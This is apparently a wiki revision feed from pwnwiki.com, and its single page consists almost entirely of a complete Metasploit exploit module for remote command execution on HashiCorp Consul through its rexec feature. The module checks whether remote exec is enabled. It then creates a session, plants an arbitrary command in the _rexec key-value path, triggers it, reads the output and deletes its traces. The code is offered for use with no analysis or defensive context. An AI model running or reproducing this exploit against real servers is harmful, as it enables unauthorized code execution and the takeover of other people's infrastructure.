<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Hashicorp_Consul_Rexec_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Hashicorp Consul Rexec 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Hashicorp_Consul_Rexec_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Hashicorp_Consul_Rexec_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-16T03:21:45Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Hashicorp_Consul_Rexec_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1499&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Hashicorp_Consul_Rexec_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1499&amp;oldid=prev"/>
		<updated>2021-04-11T01:12:58Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = ExcellentRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
  include Msf::Exploit::CmdStager&lt;br /&gt;
&lt;br /&gt;
  def initialize(info={})&lt;br /&gt;
    super(update_info(info,&lt;br /&gt;
      'Name'           =&amp;gt; &amp;quot;Hashicorp Consul Remote Command Execution via Rexec&amp;quot;,&lt;br /&gt;
      'Description'    =&amp;gt; %q{&lt;br /&gt;
        This module exploits a feature of Hashicorp Consul named rexec.&lt;br /&gt;
      },&lt;br /&gt;
      'License'        =&amp;gt; MSF_LICENSE,&lt;br /&gt;
      'Author'         =&amp;gt;&lt;br /&gt;
        [&lt;br /&gt;
          'Bharadwaj Machiraju &amp;lt;bharadwaj.machiraju[at]gmail.com&amp;gt;', # Discovery and PoC&lt;br /&gt;
          'Francis Alexander &amp;lt;helofrancis[at]gmail.com&amp;gt;', # Discovery and PoC&lt;br /&gt;
          'Quentin Kaiser &amp;lt;kaiserquentin[at]gmail.com&amp;gt;' # Metasploit module&lt;br /&gt;
        ],&lt;br /&gt;
      'References'     =&amp;gt;&lt;br /&gt;
        [&lt;br /&gt;
          [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],&lt;br /&gt;
          [ 'URL', 'https://www.consul.io/docs/commands/exec.html'],&lt;br /&gt;
          [ 'URL', 'https://github.com/torque59/Garfield' ]&lt;br /&gt;
        ],&lt;br /&gt;
      'Platform'        =&amp;gt; 'linux',&lt;br /&gt;
      'Targets'         =&amp;gt; [ [ 'Linux', {} ] ],&lt;br /&gt;
      'Payload'         =&amp;gt; {},&lt;br /&gt;
      'CmdStagerFlavor' =&amp;gt; [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],&lt;br /&gt;
      'Privileged'     =&amp;gt; false,&lt;br /&gt;
      'DefaultTarget'  =&amp;gt; 0,&lt;br /&gt;
      'DisclosureDate' =&amp;gt; 'Aug 11 2018'))&lt;br /&gt;
    register_options(&lt;br /&gt;
      [&lt;br /&gt;
        OptString.new('TARGETURI', [true, 'The base path', '/']),&lt;br /&gt;
        OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),&lt;br /&gt;
        OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),&lt;br /&gt;
        OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),&lt;br /&gt;
        Opt::RPORT(8500)&lt;br /&gt;
      ])&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check&lt;br /&gt;
    uri = target_uri.path&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'method'  =&amp;gt; 'GET',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(uri, &amp;quot;/v1/agent/self&amp;quot;),&lt;br /&gt;
      'headers' =&amp;gt; {&lt;br /&gt;
        'X-Consul-Token' =&amp;gt; datastore['ACL_TOKEN']&lt;br /&gt;
      }&lt;br /&gt;
    })&lt;br /&gt;
    unless res&lt;br /&gt;
      vprint_error 'Connection failed'&lt;br /&gt;
      return CheckCode::Unknown&lt;br /&gt;
    end&lt;br /&gt;
    begin&lt;br /&gt;
      agent_info = JSON.parse(res.body)&lt;br /&gt;
      if agent_info[&amp;quot;Config&amp;quot;][&amp;quot;DisableRemoteExec&amp;quot;] == false || agent_info[&amp;quot;DebugConfig&amp;quot;][&amp;quot;DisableRemoteExec&amp;quot;] == false&lt;br /&gt;
        return CheckCode::Vulnerable&lt;br /&gt;
      else&lt;br /&gt;
        return CheckCode::Safe&lt;br /&gt;
      end&lt;br /&gt;
    rescue JSON::ParserError&lt;br /&gt;
      vprint_error 'Failed to parse JSON output.'&lt;br /&gt;
      return CheckCode::Unknown&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def execute_command(cmd, opts = {})&lt;br /&gt;
    uri = target_uri.path&lt;br /&gt;
&lt;br /&gt;
    print_status('Creating session.')&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'PUT',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(uri, 'v1/session/create'),&lt;br /&gt;
      'headers' =&amp;gt; {&lt;br /&gt;
        'X-Consul-Token' =&amp;gt; datastore['ACL_TOKEN']&lt;br /&gt;
      },&lt;br /&gt;
      'ctype' =&amp;gt; 'application/json',&lt;br /&gt;
      'data' =&amp;gt; {:Behavior =&amp;gt; &amp;quot;delete&amp;quot;, :Name =&amp;gt; &amp;quot;Remote Exec&amp;quot;, :TTL =&amp;gt; &amp;quot;15s&amp;quot;}.to_json&lt;br /&gt;
    })&lt;br /&gt;
&lt;br /&gt;
    if res and res.code == 200&lt;br /&gt;
      begin&lt;br /&gt;
        sess = JSON.parse(res.body)&lt;br /&gt;
        print_status(&amp;quot;Got rexec session ID #{sess['ID']}&amp;quot;)&lt;br /&gt;
      rescue JSON::ParseError&lt;br /&gt;
        fail_with(Failure::Unknown, 'Failed to parse JSON output.')&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    print_status(&amp;quot;Setting command for rexec session #{sess['ID']}&amp;quot;)&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'PUT',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(uri, &amp;quot;v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}&amp;quot;),&lt;br /&gt;
      'headers' =&amp;gt; {&lt;br /&gt;
        'X-Consul-Token' =&amp;gt; datastore['ACL_TOKEN']&lt;br /&gt;
      },&lt;br /&gt;
      'ctype' =&amp;gt; 'application/json',&lt;br /&gt;
      'data' =&amp;gt; {:Command =&amp;gt; &amp;quot;#{cmd}&amp;quot;, :Wait =&amp;gt; 2000000000}.to_json&lt;br /&gt;
    })&lt;br /&gt;
    if res and not res.code == 200 or res.body == 'false'&lt;br /&gt;
      fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    print_status(&amp;quot;Triggering execution on rexec session #{sess['ID']}&amp;quot;)&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'PUT',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(uri, &amp;quot;v1/event/fire/_rexec&amp;quot;),&lt;br /&gt;
      'headers' =&amp;gt; {&lt;br /&gt;
        'X-Consul-Token' =&amp;gt; datastore['ACL_TOKEN']&lt;br /&gt;
      },&lt;br /&gt;
      'ctype' =&amp;gt; 'application/json',&lt;br /&gt;
      'data' =&amp;gt; {:Prefix =&amp;gt; &amp;quot;_rexec&amp;quot;, :Session =&amp;gt; &amp;quot;#{sess['ID']}&amp;quot;}.to_json&lt;br /&gt;
    })&lt;br /&gt;
    if res and not res.code == 200&lt;br /&gt;
      fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    begin&lt;br /&gt;
      Timeout.timeout(datastore['TIMEOUT']) do&lt;br /&gt;
        res = send_request_cgi({&lt;br /&gt;
          'method' =&amp;gt; 'GET',&lt;br /&gt;
          'uri' =&amp;gt; normalize_uri(uri, &amp;quot;v1/kv/_rexec/#{sess['ID']}/?keys=&amp;amp;wait=2000ms&amp;quot;),&lt;br /&gt;
          'headers' =&amp;gt; {&lt;br /&gt;
            'X-Consul-Token' =&amp;gt; datastore['ACL_TOKEN']&lt;br /&gt;
          }&lt;br /&gt;
        })&lt;br /&gt;
        begin&lt;br /&gt;
          data = JSON.parse(res.body)&lt;br /&gt;
          break if data.include? 'out'&lt;br /&gt;
        rescue JSON::ParseError&lt;br /&gt;
          fail_with(Failure::Unknown, 'Failed to parse JSON output.')&lt;br /&gt;
        end&lt;br /&gt;
        sleep 2&lt;br /&gt;
      end&lt;br /&gt;
    rescue Timeout::Error&lt;br /&gt;
      # we catch this error so cleanup still happen afterwards&lt;br /&gt;
      print_status(&amp;quot;Timeout hit, error with payload ?&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    print_status(&amp;quot;Cleaning up rexec session #{sess['ID']}&amp;quot;)&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'PUT',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(uri, &amp;quot;v1/session/destroy/#{sess['ID']}&amp;quot;),&lt;br /&gt;
      'headers' =&amp;gt; {&lt;br /&gt;
        'X-Consul-Token' =&amp;gt; datastore['ACL_TOKEN']&lt;br /&gt;
      }&lt;br /&gt;
    })&lt;br /&gt;
&lt;br /&gt;
    if res and not res.code == 200 or res.body == 'false'&lt;br /&gt;
      fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'DELETE',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(uri, &amp;quot;v1/kv/_rexec/#{sess['ID']}?recurse=&amp;quot;),&lt;br /&gt;
      'headers' =&amp;gt; {&lt;br /&gt;
        'X-Consul-Token' =&amp;gt; datastore['ACL_TOKEN']&lt;br /&gt;
      }&lt;br /&gt;
    })&lt;br /&gt;
&lt;br /&gt;
    if res and not res.code == 200 or res.body == 'false'&lt;br /&gt;
      fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    execute_cmdstager()&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>